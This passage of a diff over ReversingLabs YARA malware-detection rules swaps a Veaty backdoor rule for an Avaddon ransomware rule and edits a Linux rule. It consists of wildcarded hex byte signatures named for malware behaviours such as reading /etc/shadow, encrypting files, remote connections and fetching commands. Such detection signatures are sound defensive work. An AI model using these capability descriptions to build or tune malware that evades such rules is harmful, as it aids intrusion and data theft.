?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 49 - 63 D7 EB ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 41 89 D5 49 89 C7 45 84 E4 74 - ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 F8 49 63 D5 41 89 D4 49 89 C5 84 DB 74 - ?? EB ?? 45 84 E4 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48 89 - C7 E8 ?? ?? ?? ?? 4C 89 E8 49 63 D4 EB ?? 84 DB 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? - ?? ?? EB ?? 89 D3 49 89 C4 45 84 F6 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 - E0 48 63 D3 EB ?? 45 84 F6 74 ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 80 BD ?? ?? ?? - ?? ?? 74 ?? 48 8B 45 ?? 48 8D 50 ?? 48 8D 45 ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 + $encrypt_files_p1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 8B 35 ?? ?? ?? ?? 57 FF 35 ?? ?? ?? ?? + 8B F9 89 7D ?? FF D6 FF 35 ?? ?? ?? ?? 8B D8 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF + D6 3B C3 0F 84 ?? ?? ?? ?? 6A ?? 59 33 DB 89 4D ?? 8B C3 88 9C 05 ?? ?? ?? ?? 40 3D + ?? ?? ?? ?? 72 ?? 8D 85 ?? ?? ?? ?? 50 51 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CB 89 45 ?? 8A 84 0D ?? ?? ?? ?? 88 44 0D ?? + 41 83 F9 ?? 72 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 53 6A ?? 53 FF 35 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? 58 50 53 6A ?? 68 ?? ?? ?? ?? + 57 89 45 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 83 65 ?? ?? 57 FF D6 + 8D 0C 47 83 E9 ?? 66 83 39 ?? 75 ?? FF 35 ?? ?? ?? ?? 2B CF 83 C1 ?? D1 F9 8D 04 4F + 50 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF 35 ?? ?? ?? ?? FF D6 FF 75 ?? 8B F0 FF + 15 ?? ?? ?? ?? 3B C6 75 ?? 33 F6 46 EB ?? 8B 75 ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? + 8B 4D ?? 8B 45 ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 33 F6 46 85 F6 74 ?? 8B 35 + ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 } - $list_running_services_p3 = { - 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 C6 48 8D 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8D 45 ?? 48 8D 95 ?? ?? ?? ?? 48 83 C2 ?? 48 89 C6 48 89 D7 E8 ?? ?? ?? - ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? EB ?? 89 D3 49 89 C4 48 8D 85 ?? - ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D 85 ?? ?? ?? ?? 48 89 - C7 E8 ?? ?? ?? ?? 48 83 7D ?? ?? 0F 95 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8B 45 ?? 48 89 - C7 E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 48 8B 85 - ?? ?? ?? ?? 89 DE 48 89 C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D - 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? - ?? ?? 85 DB 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 45 - ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 EB ?? 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? - ?? 85 DB 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? 89 D3 49 89 C4 48 8D 85 ?? - ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E0 48 63 D3 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 - ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 DB 74 ?? EB ?? 44 89 F8 48 81 C4 ?? ?? ?? ?? - 5B 41 5C 41 5D 41 5E 41 5F C9 C3 + $encrypt_files_p2 = { + 53 FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? 8D 55 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 99 6A ?? 6A ?? 52 50 53 FF D7 6A ?? 8D 45 ?? 50 FF + 75 ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 81 7D ?? ?? ?? ?? ?? 74 ?? E9 ?? ?? ?? ?? 6A ?? + 6A ?? 51 0F 57 C0 50 66 0F 13 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 2D ?? ?? ?? ?? 8B 35 ?? + ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 DA ?? 89 45 ?? 8B 45 ?? 2D ?? ?? ?? ?? 89 55 ?? 89 45 + ?? 8D 45 ?? 83 D9 ?? 89 45 ?? 89 4D ?? 6A ?? 6A ?? FF 70 ?? FF 30 53 FF D7 6A ?? 8D + 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? 8D + 55 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? F7 D8 99 6A + ?? 6A ?? 52 50 53 FF D7 6A ?? 8D 45 ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 8B + 45 ?? 83 C0 ?? 83 6D ?? ?? 89 45 ?? 75 ?? 8B 7D ?? 0F 57 C0 6A ?? 6A ?? 66 0F 13 45 + ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A + ?? 8D 45 ?? 50 53 FF D6 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF + D6 53 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? + ?? 57 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 57 FF 15 ?? ?? + ?? ?? 8B CE E8 ?? ?? ?? ?? 5F 5E 5B C9 C3 } condition: - uint32( 0 ) == 0x464C457F and ( all of ( $kill_and_restart_daemons_p* ) ) and ( all of ( $network_communication_p* ) ) and ( all of ( $read_etc_shadow_p* ) ) and ( all of ( $list_running_services_p* ) ) + uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $search_processes ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Veaty : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Avaddon : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Veaty backdoor." + description = "Yara rule that detects Avaddon ransomware." author = "ReversingLabs" - id = "da03c6a4-388e-59b2-b94f-63da2c15e464" - date = "2025-10-13" - modified = "2025-10-13" + id = "f3a57482-5799-594b-bcfa-1137ca04dfd5" + date = "2020-10-19" + modified = "2020-10-19" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.Veaty.yara#L1-L84" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Avaddon.yara#L1-L148" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "77e5ffee617b5d4e4b28d99b25dd6ea2f89551a702c6a25a2db3edbf941d034d" + logic_hash = "1b2c449d5bad02dd06cb4a980fcca1feaf02b1d8127096bb39deecbc544272a6" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Veaty" + tc_detection_type = "Ransomware" + tc_detection_name = "Avaddon" tc_detection_factor = 5 importance = 25 strings: - $fetch_commands = { - 73 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0D 02 03 04 05 0E ?? 28 ?? ?? ?? - ?? 0C 72 ?? ?? ?? ?? 13 ?? 08 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? - ?? 13 ?? 0E ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 02 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 - ?? 2D ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 0E ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C - ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 2B ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 - ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 16 6F ?? ?? ?? ?? 06 11 ?? 6F ?? ?? ?? ?? 72 ?? - ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE - ?? 12 ?? (FE | 16) ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 2D ?? 09 72 ?? - ?? ?? ?? 73 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 72 ?? ?? - ?? ?? 06 6F ?? ?? ?? ?? 09 13 ?? DD ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 07 - 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? DE ?? 13 ?? 72 ?? - ?? ?? ?? 11 ?? 25 2D ?? 26 14 2B ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 - ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 13 ?? 72 ?? ?? ?? ?? 11 ?? 25 2D ?? 26 14 2B ?? - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A - 09 2A 11 + $find_files = { + 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B + 7D ?? 2B CA D1 F9 8B C7 41 F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F 5B C9 C3 56 8D 5F + ?? 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 75 ?? 8B 7D ?? 8B CF E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 56 E8 ?? ?? ?? ?? + 59 EB ?? 8B 47 ?? 89 30 83 47 ?? ?? 33 DB 6A ?? E8 ?? ?? ?? ?? 59 8B C3 5E EB ?? 33 + C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 89 8D ?? ?? ?? ?? 56 57 3B D3 74 ?? 0F + B7 02 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 84 C0 75 ?? 83 EA ?? 3B D3 75 ?? 8B 8D ?? + ?? ?? ?? 0F B7 32 83 FE ?? 75 ?? 8D 43 ?? 3B D0 74 ?? 51 33 FF 57 57 53 E8 ?? ?? ?? + ?? 83 C4 ?? E9 ?? ?? ?? ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 2B D3 0F B6 C0 D1 FA + 42 F7 D8 1B C0 33 FF 57 57 23 C2 57 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 53 FF + 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 + C4 ?? 8B F8 E9 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 6A ?? 89 8D ?? ?? ?? ?? 59 66 39 + 8D ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD + ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 8B 85 ?? ?? ?? + ?? 59 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? + ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B F8 56 FF 15 ?? ?? ?? + ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 } - $read_mailbox_folder = { - 73 ?? ?? ?? ?? 0A 03 04 28 ?? ?? ?? ?? 26 1F ?? 0B 18 8D ?? ?? ?? ?? 25 16 7E ?? ?? - ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 0C 17 08 13 ?? 11 ?? 73 ?? ?? ?? ?? 0D 07 73 ?? ?? - ?? ?? 13 ?? 05 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 17 6F ?? - ?? ?? ?? 11 ?? 18 6F ?? ?? ?? ?? 11 ?? 05 6F ?? ?? ?? ?? 0E ?? 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 0E ?? 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 04 11 ?? 11 ?? 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 03 11 ?? 6F ?? - ?? ?? ?? 09 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 06 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? - ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 05 6F ?? ?? ?? ?? 2D ?? 03 - 04 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? - ?? 13 ?? 03 11 ?? 6F ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 06 11 ?? 6F - ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE - ?? 13 ?? 72 ?? ?? ?? ?? 11 ?? 25 2D ?? 26 14 2B ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 13 ?? 72 ?? ?? ?? ?? 11 ?? 25 2D - ?? 26 14 2B ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 73 - ?? ?? ?? ?? 7A 06 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? (FE | 06) ?? ?? ?? ?? ?? - 73 ?? ?? ?? ?? 25 80 + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 45 ?? 8B + 7D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? C7 45 ?? ?? + ?? ?? ?? 51 6A ?? 6A ?? 6A ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 } - $add_move_to_inbox_rule = { - 02 7B ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? - ?? ?? ?? 6F ?? ?? ?? ?? 0A DE ?? 0B 72 ?? ?? ?? ?? 07 25 2D ?? 26 14 2B ?? 6F ?? ?? - ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 0C 72 ?? ?? - ?? ?? 08 25 2D ?? 26 14 2B ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 6F ?? - ?? ?? ?? 73 ?? ?? ?? ?? 7A 00 73 ?? ?? ?? ?? 0D 09 05 6F ?? ?? ?? ?? 09 6F ?? ?? ?? - ?? 0E ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 09 6F ?? - ?? ?? ?? 16 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? ?? 04 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 2C ?? 09 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 2B ?? 04 - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 6F ?? ?? ?? - ?? 09 73 ?? ?? ?? ?? 13 ?? 06 17 8D ?? ?? ?? ?? 25 16 11 ?? A2 17 6F ?? ?? ?? ?? 7E - ?? ?? ?? ?? 13 ?? DE ?? 26 7E ?? ?? ?? ?? 13 ?? DE + $encrypt_files_p2 = { + 6A ?? 8D 45 ?? 0F 57 C0 50 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 6A ?? 51 8D 45 ?? 0F 43 45 ?? 68 ?? ?? ?? + ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 + ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 F6 39 75 ?? 0F 86 ?? ?? ?? ?? 83 + 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 45 ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 4D ?? 03 C6 + 50 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F + 43 45 ?? 53 51 50 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? 83 7D ?? ?? 8D 4D ?? 6A ?? 51 8D 45 ?? 0F 43 45 ?? 53 50 57 FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 3B 75 ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 74 + } + $encrypt_files_p3 = { + 8B 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 51 52 57 89 55 ?? 89 4D ?? FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 9D ?? ?? ?? ?? 83 7B ?? ?? 8D 43 ?? 72 ?? 8B 00 6A ?? + 8D 4D ?? 51 FF 73 ?? 50 57 FF D6 85 C0 74 ?? 8B 4B ?? 39 4D ?? 75 ?? 8B 45 ?? 89 85 + ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 6A ?? 8D 85 ?? ?? + ?? ?? 89 4D ?? 50 57 C7 45 ?? ?? ?? ?? ?? FF D6 85 C0 74 ?? 83 7D ?? ?? 75 ?? B3 ?? + EB ?? 32 DB 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 + ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 + 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? + ?? ?? ?? 83 C4 ?? 8A C3 EB ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D + ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $remote_connection_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 C9 8B 75 ?? 89 85 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? 66 89 8D ?? ?? ?? ?? 89 4D ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 66 39 4E ?? 0F 86 ?? ?? + ?? ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 8B 06 8D 8D ?? ?? ?? ?? + 8B 7E ?? BA ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 72 ?? 8B 00 6A + ?? 6A ?? 57 FF B5 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F8 89 BD ?? + ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? + ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? + ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 + 89 85 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7E ?? ?? 8D 46 ?? 0F B7 4E ?? 72 ?? 8B + } + $remote_connection_p2 = { + 00 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 51 50 57 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7E ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B D0 83 7A ?? ?? 72 ?? 8B 12 83 7E ?? ?? 8D 4E ?? 72 ?? 8B 09 83 7E ?? ?? 8D 46 ?? + 72 ?? 8B 00 6A ?? 57 6A ?? 6A ?? 52 51 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 95 + ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? + ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 + ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 46 ?? 85 C0 + 75 ?? 50 50 50 50 57 FF 15 ?? ?? ?? ?? EB ?? 83 C6 ?? 83 7E ?? ?? 72 ?? 8B 36 50 56 + 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 + } + $enum_resources_p1 = { + 33 D2 89 7D ?? 89 7D ?? 89 75 ?? 89 45 ?? 89 45 ?? 89 4D ?? 89 55 ?? 89 55 ?? 39 56 + ?? 0F 84 ?? ?? ?? ?? 89 55 ?? 89 55 ?? 89 55 ?? 89 55 ?? 83 7E ?? ?? 8B C6 72 ?? 8B + 06 8D 4D ?? 51 8D 4D ?? 51 8D 4D ?? 51 6A ?? 8D 4D ?? 51 6A ?? 50 FF 15 ?? ?? ?? ?? + 89 45 ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8B 45 ?? 89 45 ?? + C7 45 ?? ?? ?? ?? ?? 0F 82 + } + $enum_resources_p2 = { + 8D 4D ?? D1 F8 50 52 E8 ?? ?? ?? ?? 8B 7D ?? 8D 4D ?? 8B 75 ?? 83 FF ?? 8B 55 ?? 6A + ?? 68 ?? ?? ?? ?? 0F 43 CE 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? + 8B 7D ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 33 C0 8B 75 ?? 66 89 85 ?? ?? ?? ?? 83 CE ?? + 8B 47 ?? 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 + 75 ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? + ?? 8B C7 72 ?? 8B 07 FF 77 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 + } + $enum_resources_p3 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 53 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 50 8D 45 ?? + 64 A3 ?? ?? ?? ?? 8B 43 ?? 8D 4D ?? 89 45 ?? 89 45 ?? 66 8B 43 ?? 6A ?? 68 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? + 8D 4D ?? 8D 45 ?? 0F 43 45 ?? 51 50 